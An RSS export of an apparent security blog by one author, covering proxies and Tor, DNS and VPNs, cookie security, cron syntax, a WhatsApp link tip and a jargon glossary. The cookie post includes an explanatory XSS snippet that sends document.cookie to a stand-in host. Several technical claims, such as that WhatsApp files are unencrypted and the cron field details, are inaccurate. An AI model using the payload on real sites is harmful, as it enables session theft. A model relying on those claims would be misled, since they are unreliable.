<p>iii. One more danger is that most free (and sometimes paid) proxies are often deployed by a few organizations who then infect them with malware in order to infect users &amp; thus create an army of bots. These bots are then sold to cybercriminals to do as they please i.e launching DoS/DDoS attacks, and using these computers to breach organizations, among other nefarious things.</p>
<p>iv. Proxy servers can share the origin IP in headers like <em>x-forwarded-for</em> which could unmask the client. They can also easily modify the requests/responses without the client knowing.</p>
<p>v. It’s a good idea to use multiple proxy servers from different providers in a chain. This will provide better security with the downside of slow connection speed. One of the most used examples of this type of configuration is the Tor Network (more on this towards the end of this article).</p>
<p>vi. Two of the most famous forward proxy servers for the security community are Burp Suite &amp; OWASP ZAP. Both of these are used to intercept web requests &amp; then perform several operations on them in order to find vulnerabilities &amp; other sensitive information which could help in protecting the intended source &amp; destination.</p>
<p>Now let’s see a different type of proxy protocols we can use:-</p>
<p><strong>I. SOCKS-</strong> SOCKS aka Secure Sockets is a protocol that sends your data as is. That means your data is transferred without any attempt to read it. SOCKS-based proxy servers are used simply for data forwarding &amp; receiving. SOCKS currently has two versions i.e, v4 &amp; v5 out of which v5 is the latest &amp; more robust than the former.</p>
<p><strong>II. HTTP-</strong> HTTP or Hyper Text Transfer Protocol enabled proxy servers are used as content filters. That means they can see all your data &amp; then either forward or drop it based on their configurations. When these servers use SSL/TLS they are known as HTTPS proxy servers.</p>
<p>Now that we know of some common proxy protocols, let’s see their different types:</p>
<p><strong>I. Transparent proxy-</strong> These proxies are also known as level 1 proxies. They don’t provide anonymity to their users &amp; almost always share the origin IP in headers like <em>x-forwarded-for</em> &amp; announce to servers about them being proxies. Their main use case is to cache web content &amp; then store it for a pre-determined time period in order to save bandwidth &amp; other resources.</p>
<p><strong>II. Anonymous proxy-</strong> These proxies are also known as level 2 proxies. While they tend not to share the origin IP, they do announce that they are acting as a proxy for a client. These proxies can be used in the scenario when you don’t want to reveal the origin IP but have no qualms about sharing that a proxy server is in use.</p>
<p><strong>III. Elite proxy</strong>- These proxies are also known as level 3 proxies. They act as an independent client &amp; don’t give away any indicators which could classify them as a proxy server. They are ideal for the scenario when a client doesn’t want to disclose that they are using a proxy server.</p>
<h2 id="heading-tor-the-onion-router"><strong>TOR (The Onion Router)</strong></h2>
<p>Now that we knocked off some basic concepts about VPNs &amp; Proxies, let me tell you some ways of protecting online identity.</p>
<p>In both VPN &amp; Proxy sections, I have mentioned the term TOR (The Onion Router) which is an advanced open-source implementation of proxy servers in order to provide anonymity to internet users.</p>
<p>Let’s see how TOR works:-</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*myurXzkNVtdGdd_csRGFGQ.png" alt /></p>
<p><strong>Client → TOR entry node → TOR middle node → TOR exit node → Internet → Different servers</strong></p>
<ol>
<li><p>The client downloads the TOR software bundle &amp; clicks on the TOR browser.</p>
</li>
<li><p>TOR browser starts the connection process which involves finding routes &amp; opening local ports usually (9050).</p>
</li>
<li><p>After routes are set client searches for <em>“</em><a target="_blank" href="http://medium.com"><em>medium.com</em></a><em>”.</em></p>
</li>
<li><p>This request is first sent to the TOR entry node when intercepts it &amp; forwards to the middle node.</p>
</li>
<li><p>The middle node intercepts the request &amp; forwards it to the exit node.</p>
</li>
<li><p>The exit node intercepts the request &amp; then forwards it to the web server for <em>“</em><a target="_blank" href="http://medium.com"><em>medium.com</em></a><em>”</em>.</p>
</li>
<li><p>When web server sends data back, the same process is repeated in reverse order.</p>
</li>
</ol>
<p><strong>Few important points,</strong></p>
<p>i. In TOR Network one node only knows the address of next node. This use of compartmentalization helps secure the identity of all engaged nodes in a communication.</p>
<p>ii. TOR is used for evading surveillance &amp; protecting online identity. It is one of the most important tool in the arsenal of privacy advocates, journalists, spies &amp; other privacy-minded people.</p>
<p>iii. TOR network operates like layers of onion hence the name The Onion Router. Traffic is forwarded to next node without sharing whole route which makes it difficult to track someone in TOR network.</p>
<p>iv. TOR makes all users identical in order to resist browser fingerprinting, in case you use additional add-ons it could render TOR ineffective.</p>
<p>v. TOR traffic can also be decrypted if uses follows poor internet hygiene which includes browsing HTTP sites, downloading shady files, logging to social media/tracking sites, and following a browsing pattern. It could also happen if an attacker has access to your network traffic along with control over entry &amp; exit nodes.</p>
<p>vi. ISPs can see when someone uses TOR, for this fact the use of VPN is necessary. However using this technique could risk the integrity of TOR traffic if VPN is compromised or you did a misconfiguration. Unless you know exactly what are you doing please don’t use them together.</p>
<p>Now let’s see how we can use VPN in conjunction with TOR to gain maximum anonymity. Please note while I’m sharing this this to give you an overview making proper configurations is your responsibility.</p>
<p><strong>[ Disclaimer:</strong> <strong>First three</strong> scenarios are bad operational security in my perception &amp; I only recommend <strong>fourth</strong> with a good provider. <strong>]</strong></p>
<p><strong>I. Client → ISP → TOR-</strong> In this scenario, client connects to TOR over default ISP network. Here ISP can see that client connected to TOR network as well as see the IP of entry node. Howver they cannot see any traffic that is exchanged as well as the destination.</p>
<p><strong>II. Client → Proxy → ISP → TOR-</strong> In this scenario, client first connects to a proxy server then connects to TOR network. While this does sounds more secure than previous scenario it’s not. Here in addition to ISP, Proxy server can also see the origin IP &amp; entry node. This scenario TBH doesn’t makes sense in my mind &amp; I strongly recommend against using it.</p>
<p><strong>III. Client → TOR → Proxy-</strong> In this scenario, client first connects to TOR network then uses it to connects to a proxy service. I don’t even know why someone would even do attempt to do this as it undermines the whole concept of TOR. I strongly recommend against using this setup unless you have some exceptional use case for this. Even in that scenario please mote it could be used to decipher your online identity as well as traffic.</p>
<p><strong>IV. Client → VPN → TOR-</strong> In this scenario, client first connects to a VPN then tunnels the traffic though their servers. Then connects to TOR network using its software suite. This does two things i.e, prevents ISP from knowing you are using TOR &amp; also prevents TOR from seeing your origin IP. Now this goes without saying that VPN provider should be trusted &amp; situated in a country where they couldn’t be forced to handover their logs/ spy on their users. Now this is a setup which could be used by most users to stay anonymous over internet while enjoying the best of both world i.e VPN &amp; Proxy.</p>
<blockquote>
<p>Kudos, you finally made it to the end of this article. Please accept my humble gratitude for reading my article, I hope you liked it. I’m dropping some TOR implementations here, please do your research &amp; see if they match your particular use case: <strong>Whonix, TAILS, Orbot, QubesOS.</strong></p>
<p>Please provide your feedback/suggestions in order for me to improve my writing as well as provide better content.</p>
<p>Until we meet again.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[DNS, VPN & Proxies in layman terms]]></title><description><![CDATA[Many people use VPNs, Proxies & DNS resolvers for different purposes, however, most of them have no idea about the use cases. I very recently saw someone mistaking a DNS resolver for VPN which motivated me to write this article.
While it is very usef...]]></description><link>https://blog.securityin.cloud/dns-vpn-proxies-in-layman-terms</link><guid isPermaLink="true">https://blog.securityin.cloud/dns-vpn-proxies-in-layman-terms</guid><category><![CDATA[Data security]]></category><category><![CDATA[dns]]></category><category><![CDATA[vpn]]></category><category><![CDATA[proxy]]></category><category><![CDATA[Operational Security]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Sat, 10 Sep 2022 11:34:14 GMT</pubDate><content:encoded><![CDATA[<p>Many people use VPNs, Proxies &amp; DNS resolvers for different purposes, however, most of them have no idea about the use cases. I very recently saw someone mistaking a DNS resolver for VPN which motivated me to write this article.</p>
<p>While it is very useful to use such technologies it’s always better to know what these technologies can do/cannot do in order to get the most out of them.</p>
<p>I will be discussing DNS, VPN &amp; Proxies in layman's terms so that anyone reading this article could understand them easily. You are humbly requested to devise your individual use case &amp; do due diligence before using any service providers.</p>
<p>So without further ado, let’s dive in.</p>
<h1 id="heading-dns-domain-name-system"><strong>DNS: Domain Name System</strong></h1>
<p>Commonly termed as an Internet phonebook, DNS maps IP addresses to Domain names. Usually traveling over UDP port 53, it queries DNS servers with domain names &amp; fetches the correct IP address(s) in order to load a website.</p>
<p>Let’s see how it actually works.</p>
<ol>
<li>The client opens a <strong>browser</strong> and types ”<a target="_blank" href="http://medium.com"><em>medium.com</em></a>”.</li>
</ol>
<p>2. This request goes to a <strong>DNS recursor</strong> (<strong>resolver</strong>) who checks the local database (<strong>cache</strong>) to see if the mapping is available there.</p>
<p>3. In case where the record is not found locally, <strong>recursor</strong> then queries to <strong>Root nameserver</strong> to get the address of .<strong>com TLD nameserver ( Top Level Domain nameserver )</strong>.</p>
<p>4. After getting hold of <strong>TLD nameserver, recursor</strong> gets the address for <strong>Authorative nameserver</strong> which contains the actual IP address(s) for that domain. This IP data is then sent back to the client who stores it in the cache for some time to resolve faster. In this case, IPs are “<em>162.159.152.4 &amp; 162.159.153.4”.</em></p>
<p><strong>Now few important points,</strong></p>
<p>i. Recursor could be anyone from your local system to your ISP. It’s always better to use a trusted DNS provider as they have access to literally all of your searches &amp; could use it for various purposes starting from showing you targeted ads to selling your search data. This could get worse if your ISP gets breached &amp; their DNS cache is poisoned as it could direct your every search to sites controlled by a malicious threat actor.</p>
<p>ii. Root nameservers are where records of TLD nameservers are kept. They are 13 nameservers (A-M) which are geographically distributed in clusters using Anycast technology.</p>
<p>iii. A single TLD nameserver contains entries for a particular TLD ( .com, .net, .org, etc) only.</p>
<p>iv. Authorative nameserver is where actual IP-to-DNS records are kept. It could be anyone from the hosting provider to the DNS manager.</p>
<p>v. You could also create these records locally by editing your hosts file. However, I recommend you don’t do so until you know exactly what you are doing.</p>
<p>vi. There are some utilities like <em>dig, nslookup,etc</em> which allows fetching the DNS records from the comfort of CLI.</p>
<p>vii. Make sure you know how the provider will use your data &amp; what is their policy on logs.</p>
<h1 id="heading-vpn-virtual-private-networks"><strong>VPN: Virtual Private Networks</strong></h1>
<p>VPN is a piece of special software which hides your original IP address &amp; helps create a secure connection. This is done by creating a tunnel between your device &amp; VPN provider’s private network, hence the term virtual private network. This essentially helps in hiding the internet traffic thus browsing securely.</p>
<p>Let’s see how it works.</p>
<ol>
<li><p>The client installs a <strong>VPN software</strong>, selects a <strong>protocol</strong> &amp; clicks on connect.</p>
</li>
<li><p>This request travels over the internet to the provider’s network.</p>
</li>
<li><p>This request then routes through internally managed servers until a <strong>server is assigned</strong> to the client.</p>
</li>
<li><p>Client can now send data that will be traveling encrypted over this <strong>private tunnel</strong> for their every connection. Websites will see the IP of that VPN server &amp; not of the client.</p>
</li>
</ol>
<p><strong>Now few important points,</strong></p>
<p>i. VPN can offer privacy &amp; security however achieving anonymity using only VPN is a myth. For this consider using anonymous networks like TOR in conjunction with VPN.</p>
<p>ii. Again since they have access to your every data be careful whom you trust. Make sure your provider offers <strong>no-logs policy,</strong> does independent audits of their company &amp; publishes warrant canaries. Also, make sure this provider is in a country where they can’t be forced to spy on you under the laws.</p>
<p>iii. VPNs encrypt communications so they are very helpful when using public networks for internet surfing. Since public networks can easily be malicious, using a VPN will hide your internet traffic from ISP as well as the network owner.</p>
<p>iv. There are some services like <em>WebRTC</em> that could reveal the original IP address even while using a VPN. It helps if you could disable these services.</p>
<p>v. A large number of free VPN services are often run by a few organizations who use them for malicious purposes. Since people have a tendency to look for free stuff which could potentially end up wreaking havoc, I strongly recommend against it. There is nothing like free lunch here &amp; if it’s free then sadly people are the products. It is also worth noting that some trusted providers like ProtonVPN offer free services, however, do your due diligence first before trusting.</p>
<h1 id="heading-proxies"><strong>Proxies</strong></h1>
<p>Proxies are often misinterpreted as VPNs however both are very different in function as well as use cases. A proxy acts as an intermediary between a client &amp; a server. It listens for a request and then either forwards it or drops it as per configurations.</p>
<p>Let’s see how it works.</p>
<ol>
<li><p>The client gets the IP of a proxy server &amp; <strong>configures their system</strong> to use it while browsing.</p>
</li>
<li><p>The client opens the browser &amp; searches for “<a target="_blank" href="http://medium.com"><em>medium.com</em></a>”.</p>
</li>
<li><p>This query goes to the proxy server who <strong>makes the request</strong> on the client’s behalf.</p>
</li>
<li><p>Once “<a target="_blank" href="http://medium.com"><em>medium.com</em></a>” sends a response to the proxy server, it then <strong>forwards it back</strong> to the client. It is a pretty effective method since in an ideal scenario website won’t know who actually requested the resources.</p>
</li>
</ol>
<p><strong>Now few important points,</strong></p>
<p>i. Proxy servers can act on both client side &amp; server side. As per their functionality they could be either a forward proxy (client side) or a reverse proxy (server side).</p>
<p>ii. Proxy servers can share origin IP in headers like <em>x-forwarded-for</em> which could unmask the client. There are different types of proxy servers, make sure you use one that works with your individual use case. One of the most trusted proxy service worldwide is TOR network.</p>
<p>iii. Be careful while using free Proxies, they could easily be setup by malicious threat actors in order to exploit your system. Vet every provider before using their service.</p>
<p>iv. Since proxies could reveal your data in their requests, it’s a good idea to use multiple proxy servers from different providers in a chain. This will provide better security with the downside of slow connection speed.</p>
<p>v. A proxy server doesn’t necessarily mean your data will be encrypted. It is also worth noting that a proxy server can easily modify the requests/responses without the client knowing.</p>
<blockquote>
<p><strong>A more comprehensive post on VPN &amp; Proxies will soon follow. Meanwhile if you are still here I would greatly appreciate any feedback in order to provide you with better content.</strong></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Demystifying Cookies from a security standpoint]]></title><description><![CDATA[Who doesn’t love a tasty COOKIE/BISCUIT?
The same is true for the “Website Cookies” (special text files), which are used for authentication, season management, personalization & tracking.
Since HTTP happens to be a STATELESS protocol, websites need t...]]></description><link>https://blog.securityin.cloud/demystifying-cookies-from-a-security-standpoint</link><guid isPermaLink="true">https://blog.securityin.cloud/demystifying-cookies-from-a-security-standpoint</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Http Cookies]]></category><category><![CDATA[  Securing Http Cookies ]]></category><category><![CDATA[Concept Of Cookies]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Tue, 23 Aug 2022 11:24:09 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682248728374/1f701e54-fd95-43d8-b8a0-6379dd19c8a0.webp" alt class="image--center mx-auto" /></p>
<p>Who doesn’t love a tasty COOKIE/BISCUIT?</p>
<p>The same is true for the “Website Cookies” (special text files), which are used for authentication, season management, personalization &amp; tracking.</p>
<p>Since HTTP happens to be a STATELESS protocol, websites need to track requests by some method. For this purpose, <strong>Lou</strong> <strong>Montulli</strong> created the concept of “COOKIES”. Nowadays all websites use them for one purpose or another.</p>
<p>Now let’s dive into this concept a bit more,</p>
<p>Generally speaking, we have two types of cookies as follows:-<br /><strong>1. Session cookie:</strong> Session cookies are cookies that <strong>last for a session</strong>. A session starts when you launch a website or web app and ends when you leave the website or close your browser window. They contain information that is <strong>stored in a temporary memory location</strong> which is deleted after the session ends. Unlike other cookies, session cookies are never stored on your device. Therefore, they are also known as transient cookies, non-persistent cookies, or temporary cookies.</p>
<p><strong>2. Permanent cookie:</strong> Permanent cookies are set with an expiration date and stored on a user s hard drive <strong>until they expire</strong> or <strong>until the user deletes the cookie</strong>. They are used to collect identifying information about the user, such as Web surfing behavior or user preferences for a specific Web site. They are also known as permanent cookies or stored cookies.</p>
<p>Cookies are allocated &amp; shared through HTTP Headers “<strong><em>Set-Cookie</em></strong>” &amp; “<strong><em>Cookie</em></strong>”, respectively. These cookies can be either <strong>HTTP-only</strong> or <strong>SECURE</strong>, depending on the security implantation. A <strong>HTTP-only cookie</strong> travels over HTTP protocol &amp; prevents JavaScript from reading stored cookies whereas a <strong>SECURE cookie</strong> is only sent to the server with an encrypted request over the HTTPS protocol &amp; mitigates Man in The Middle (MiTM) attacks.</p>
<p>To further enhance these controls, “ <strong>Host-only</strong>” flag and “<strong>Path</strong>” attribute can be added to lockdown the cookie to a particular HOSTNAME and PATH.</p>
<p>To take it one notch further “<strong>SameSite</strong>” flag could be used to prevent Cross-Site Request Forgery (CSRF). SameSite can take one of three possible values i.e, Strict, Lax or None</p>
<p>These cookies reside in a special storage known as a “cookie jar” inside the browser. You can view your cookies either through browser developer settings/addons or by invoking “<strong><em>document.cookie</em></strong>” API.</p>
<p>Now you might ask how all this relates to a security standpoint, well since these cookies contain juicy details they can provide easy access to a website and thus to a network as well. Didn’t get it, no issues just imagine an “authenticated Administrator” losing their cookies.</p>
<p>This is also why most XSS attacks tend to extract cookies from the victim’s browser.</p>
<p>One Proof of concept to show this attack will be:-</p>
<p><strong><em>&lt;script&gt;<br />var x = image();<br />x.src=”example.com/xss.php?q=”+document.cookie;<br />&lt;/script&gt;</em></strong></p>
<p>Where you can simply create an image object and point it to an attacker-controlled website. Then it will log the cookie there which can be further used in chained attacks.</p>
<p>Now to mitigate these issues web devs could:-<br />1. Implement secure session cookies which expire as soon as the session terminates.<br />2. Install security plugins and follow secure design principles.</p>
<p>On the other hand, users can:-<br />1. Install add-ons like NoScript to prevent XSS.<br />2. Avoid clicking on links &amp; cleaning the cookie jar as often as possible.</p>
<p>To learn more about cookies, do visit these great documentations:-</p>
<ol>
<li><p><a target="_blank" href="https://www.linkedin.com/company/w3c/">W3C</a> : <a target="_blank" href="https://www.w3.org/2001/tag/2010/09/ClientSideStorage.html2">https://www.w3.org/2001/tag/2010/09/ClientSideStorage.html</a></p>
</li>
<li><p><a target="_blank" href="https://www.linkedin.com/company/mozilla-corporation/">Mozilla</a> : <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Cron Jobs in a nutshell]]></title><description><![CDATA[“Cron jobs” if you don’t already know are an amazing way for scheduling tasks on Linux servers.
Cron is comprised of two parts i.e, “crontab” ( which contains your cron expressions ) and “crond” ( cron daemon which runs in the background & monitors c...]]></description><link>https://blog.securityin.cloud/cron-jobs-in-a-nutshell</link><guid isPermaLink="true">https://blog.securityin.cloud/cron-jobs-in-a-nutshell</guid><category><![CDATA[linux tips]]></category><category><![CDATA[cronjob]]></category><category><![CDATA[Linux Tricks]]></category><category><![CDATA[Cronjob Scheduler]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Tue, 23 Aug 2022 11:14:27 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682248332861/7f9753f5-531b-462e-9c96-bd98208231e9.webp" alt class="image--center mx-auto" /></p>
<p>“Cron jobs” if you don’t already know are an amazing way for scheduling tasks on Linux servers.</p>
<p><strong><em>Cron</em></strong> is comprised of two parts i.e, “<strong><em>crontab</em></strong>” ( which contains your cron expressions ) and “<strong><em>crond</em></strong>” ( cron daemon which runs in the background &amp; monitors crontab ).</p>
<p><strong><em>Crontab</em></strong> can be edited using the command “crontab -e” and pointed to either a specific command or a shell script. Just make sure to use the absolute path for either of them.</p>
<p><strong><em>Crond</em></strong> on the other hand executes the commands at a specific time.</p>
<p>Working together in harmony, they make sure the assigned task is executed at the right time.</p>
<p>Since we got the basic idea, let’s move on to the execution part.</p>
<p>A <strong><em>crontab</em></strong> contains seven fields as follows:-</p>
<p><strong>1 2 3 4 5 6 7</strong></p>
<p><strong>Where,</strong></p>
<p><strong>1ST PLACE is for minutes (0–59)</strong></p>
<p><strong>2ND PLACE is for hour (0–24)</strong></p>
<p><strong>3RD PLACE is for day of month (1–31)</strong></p>
<p><strong>4TH PLACE is for month (1–12)</strong></p>
<p><strong>5TH PLACE is for day or week (0–7; both 0 &amp; 7 can be used for sunday)</strong></p>
<p><strong>6TH PLACE is for user account (always make sure assigned user account has sufficient permissions to run the commands)</strong></p>
<p><strong>7TH PLACE is for the absolute path of command/shell script.</strong></p>
<p>Here are some of the shortcuts to make jobs even more easier:-</p>
<p><strong>@yearly @annually @monthly @weekly @daily @midnight @noon @reboot</strong></p>
<p>These shortcuts do exactly what they say and they are worth implementing if the use case matches.</p>
<p>If you use shortcuts make sure to only include “user” and “command”.</p>
<p>Now that we are familiar with syntax let’s see some examples in action:-</p>
<p><strong>1 2 3 4 5 root /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a></p>
<p>Which simply states</p>
<p><strong>At 02:01AM on day-of-month 3 and on Friday in April “RUN” /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a> <strong>as root</strong></p>
<p>Let’s also see an example using the shortcut:-</p>
<p><strong>@daily root /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a></p>
<p>Which simply means</p>
<p><strong>“RUN” /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a> <strong>as root on daily basis.</strong></p>
<p>Also since we are using Linux, wildcards (*) are allowed too. Let’s see their example as well:-</p>
<p><strong>1 2 5 root /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a></p>
<p>Which simply says,</p>
<p><strong>At 02:01AM on friday in every month “RUN” /usr/share/</strong><a target="_blank" href="http://backup.sh"><strong>backup.sh</strong></a> <strong>as root</strong></p>
<p><strong>[ NOTE:- “cron” requires the system to run 24/7 so it’s not ideal for running on a desktop/laptop. For this particular purpose use “anacron”. ]</strong></p>
<blockquote>
<p>On an ending note, I would also like to mention “<a target="_blank" href="http://crontab.guru"><strong>crontab.guru</strong></a>” which is one of the best websites when it comes to creating/editing cron jobs. Give it a shot if you are new to server administration or want to check your expressions.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[How to do contactless messaging on WhatsApp? Using WhatsApp API that’s how]]></title><description><![CDATA[WhatsApp has become an integral part of our daily communication. Whether it’s personal chats or business chats, WhatsApp is everywhere. In my case, I utilize a simple hack to message anyone without even saving their contact number.
Here’s how you can...]]></description><link>https://blog.securityin.cloud/how-to-do-contactless-messaging-on-whatsapp-using-whatsapp-api-thats-how</link><guid isPermaLink="true">https://blog.securityin.cloud/how-to-do-contactless-messaging-on-whatsapp-using-whatsapp-api-thats-how</guid><category><![CDATA[whatsapp]]></category><category><![CDATA[whatsapp-api]]></category><category><![CDATA[whatsapp trick]]></category><category><![CDATA[whatsapp tip]]></category><category><![CDATA[power whatssapp]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Wed, 17 Aug 2022 11:08:15 GMT</pubDate><content:encoded><![CDATA[<p>WhatsApp has become an integral part of our daily communication. Whether it’s personal chats or business chats, WhatsApp is everywhere. In my case, I utilize a simple hack to message anyone without even saving their contact number.</p>
<p>Here’s how you can do that as well, just follow these 3 simple steps given below:-</p>
<p>1. Open a web browser (make sure you have redirections/open links in apps enabled).</p>
<p>2. Navigate to <strong>“</strong><a target="_blank" href="https://wa.me/&lt;country"><strong><em>https://wa.me/&lt;country</em></strong></a> <strong><em>code&gt;&lt;WhatsApp number&gt;</em>”</strong> by entering above query in url bar.</p>
<p>3. You will be redirected to “<a target="_blank" href="http://api.whatsapp.com">api.whatsapp.com</a>”. Just click on the “CONTINUE TO CHAT/OPEN IN WHATSAPP/OPEN (popup)” option (depending on the browser) and voilà.</p>
<blockquote>
<p>[ NOTE: DON’T USE “+” SIGN in country code, suppose you are messaging someone in India then just use country code i.e, 91 instead of +91. ]</p>
</blockquote>
<p>Example:- <a target="_blank" href="https://wa.me/919876543210"><strong><em>https://wa.me/919876543210</em></strong></a></p>
<p>Where,<br /><strong>91</strong> is the country code without the + sign<br /><strong>9876543210</strong> is the WhatsApp number.</p>
<p>This is a very handy WhatsApp API feature which is uncommon knowledge. Do share this with your friends and family.</p>
]]></content:encoded></item><item><title><![CDATA[Addressing some common Cybersecurity jargons]]></title><description><![CDATA[Let’s break down some common Cybersecurity jargons.
Sometimes people get confused by these terms or find it hard to retain their differences.
➊. 𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 𝐯𝐬 𝐀𝐮𝐭𝐡𝐨𝐫𝐢𝐳𝐚𝐭𝐢𝐨𝐧:
𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 is the process...]]></description><link>https://blog.securityin.cloud/addressing-some-common-cybersecurity-jargons</link><guid isPermaLink="true">https://blog.securityin.cloud/addressing-some-common-cybersecurity-jargons</guid><category><![CDATA[Cybersecurity jargons]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Tue, 16 Aug 2022 10:56:39 GMT</pubDate><content:encoded><![CDATA[<p>Let’s break down some common Cybersecurity jargons.</p>
<p>Sometimes people get confused by these terms or find it hard to retain their differences.</p>
<p>➊. 𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 𝐯𝐬 𝐀𝐮𝐭𝐡𝐨𝐫𝐢𝐳𝐚𝐭𝐢𝐨𝐧:</p>
<p>𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 is the process of verifying the identity. It uses a combination of techniques/methods to verify the identity. For e.g: If one of your friends calls you from an unknown number, after hearing their voice you’ll ask ABC, is that you? and they will reply yes, it’s me.</p>
<p>Whereas 𝐀𝐮𝐭𝐡𝐨𝐫𝐢𝐳𝐚𝐭𝐢𝐨𝐧 refers to the permissions attached to performing a certain task. This often comes after authentication is successful and a task is to be executed. For e.g: While making online payments you are asked to input PIN/OTP which is a form of authorization.</p>
<p>[ NOTE: While these solutions might sound very true there are ways to circumvent them. ]</p>
<p>➋. 𝐃𝐑𝐘 𝐩𝐫𝐢𝐧𝐜𝐢𝐩𝐥𝐞 𝐯𝐬 𝐖𝐄𝐓 𝐩𝐫𝐢𝐧𝐜𝐢𝐩𝐥𝐞:</p>
<p>𝐃𝐑𝐘 stands for “Don’t Repeat Yourself”. Simply put it minimizes bugs &amp; shortens codebase size</p>
<p>Whereas 𝐖𝐄𝐓 stands for “Write Everything Twice”. Simply put it means the same code is implemented at least two times in a codebase. It offers the flexibility to use the same code for two different purposes.</p>
<p>[ NOTE: These two terms are not common as they are part of the software development process. There are high chances of seeing their implementation if you do web app pentest or code reviews. ]</p>
<p>➌. 𝐔𝐑𝐈 𝐯𝐬 𝐔𝐑𝐋:</p>
<p>𝐔𝐑𝐈 or Uniform Resource Identifier provides the identity of an item. For e.g: the IMEI no of your smartphone can be defined as Uri, or the ISBN no of a book, or better yet your roll number/employee id.</p>
<p>𝐔𝐑𝐋 or Uniform Resource Locator provides a way to reach any location. It comprises of a protocol, domain name/IP address and path to the resource. For e.g: <a target="_blank" href="https://medium.com">https://medium.com</a></p>
<p>➍. 𝐏𝐞𝐧𝐞𝐭𝐫𝐚𝐭𝐢𝐨𝐧 𝐭𝐞𝐬𝐭𝐢𝐧𝐠 𝐯𝐬 𝐑𝐞𝐝 𝐭𝐞𝐚𝐦 𝐚𝐬𝐬𝐞𝐬𝐦𝐞𝐧𝐭:</p>
<p>𝐏𝐞𝐧𝐞𝐭𝐫𝐚𝐭𝐢𝐨𝐧 𝐭𝐞𝐬𝐭𝐢𝐧𝐠 is a process to test the security of a company/system/network/website/software. For e.g: You hired a lockpicker to check the strength of your locks.</p>
<p>𝐑𝐞𝐝 𝐭𝐞𝐚𝐦 𝐚𝐬𝐬𝐞𝐬𝐦𝐞𝐧𝐭 on the other hand deals with testing the strength of blue team &amp; adversary simulation. For e.g: You hired a professional thief to test out your state-of-the-art home security system.</p>
<p>[ NOTE: There is a fine line between these two terms. In most scenarios, they differ only in terms of use cases. In other scenarios, their terms are often interchanged. ]</p>
<p>➎. 𝐂𝐈𝐀 𝐭𝐫𝐢𝐚𝐝 𝐯𝐬 𝐃𝐀𝐃 𝐭𝐫𝐢𝐚𝐝:</p>
<p>𝐂𝐈𝐀 𝐭𝐫𝐢𝐚𝐝 stands for Confidentiality, Integrity &amp; Availability. It’s part of the Blue team side of security where these terms help design security mechanisms. For e.g: You use WhatsApp to send encrypted messages to another person &amp; can do until WhatsApp servers are down or there is a Man-In-The-Middle (MITM ).</p>
<p>𝐃𝐀𝐃 𝐭𝐫𝐢𝐚𝐝 stands for Disclosure, Alter &amp; Denial. It’s part of the Red team side of security where they define breaking of the CIA triad. For e.g: If someone intercepts your WhatsApp traffic and manages to break the encryption they can read, modify or even permanently delete your messages.</p>
<p>[ NOTE: While WhatsApp encrypts your text messages, any documents sent over it are not encrypted and remain plaintext in its servers. Anyone with access to these servers/MITM can easily read them. Be mindful of what you share over WhatsApp ]</p>
<p>➏. 𝐑𝐞𝐯𝐞𝐫𝐬𝐞 𝐬𝐡𝐞𝐥𝐥 𝐯𝐬 𝐁𝐢𝐧𝐝 𝐬𝐡𝐞𝐥𝐥: For this let’s imagine you have two devices i.e, a client ( your smartphone ) and a server ( your laptop ). For the sake of simplicity let’s also assume these two are in the same LAN network.</p>
<p>In 𝐑𝐞𝐯𝐞𝐫𝐬𝐞 𝐬𝐡𝐞𝐥𝐥 scenario the client will open a port and the server will connect back to it using the IP:Port combo. This is very useful in case of circumventing firewalls. For e.g: Let’s assume you met someone and instead of asking them, shared your phone number so they can contact you.</p>
<p>Whereas in 𝐁𝐢𝐧𝐝 𝐬𝐡𝐞𝐥𝐥 server will open a port and the client will connect to it using the IP:Port combo. This is helpful but less reliable if security measures are in place. For e.g: Let’s assume you met someone &amp; they shared their phone no so you can contact them.</p>
<p>[ NOTE: Both of these shells have their individual use cases, sometimes you will use reverse and sometimes bind. It often takes trial &amp; error to find a perfect solution for a given scenario, however in most cases reverse shell will do well than a bind one. ]</p>
<p>➐. 𝐄𝐧𝐜𝐫𝐲𝐩𝐭𝐢𝐨𝐧 𝐯𝐬 𝐇𝐚𝐬𝐡𝐢𝐧𝐠:</p>
<p>𝐄𝐧𝐜𝐫𝐲𝐩𝐭𝐢𝐨𝐧 is a terminology given to the process of encoding information in a way that it cannot be recovered without a secret (code/key). Simply put using this technique you can encode/decode your content ( text, files, devices ). Encryption is used to provide confidentiality among two or more people. Some common encryption algorithms are AES, RSA, etc.</p>
<p>For e.g: Let’s imagine you have a lock and a key, in this case, that lock can’t be opened without that key.</p>
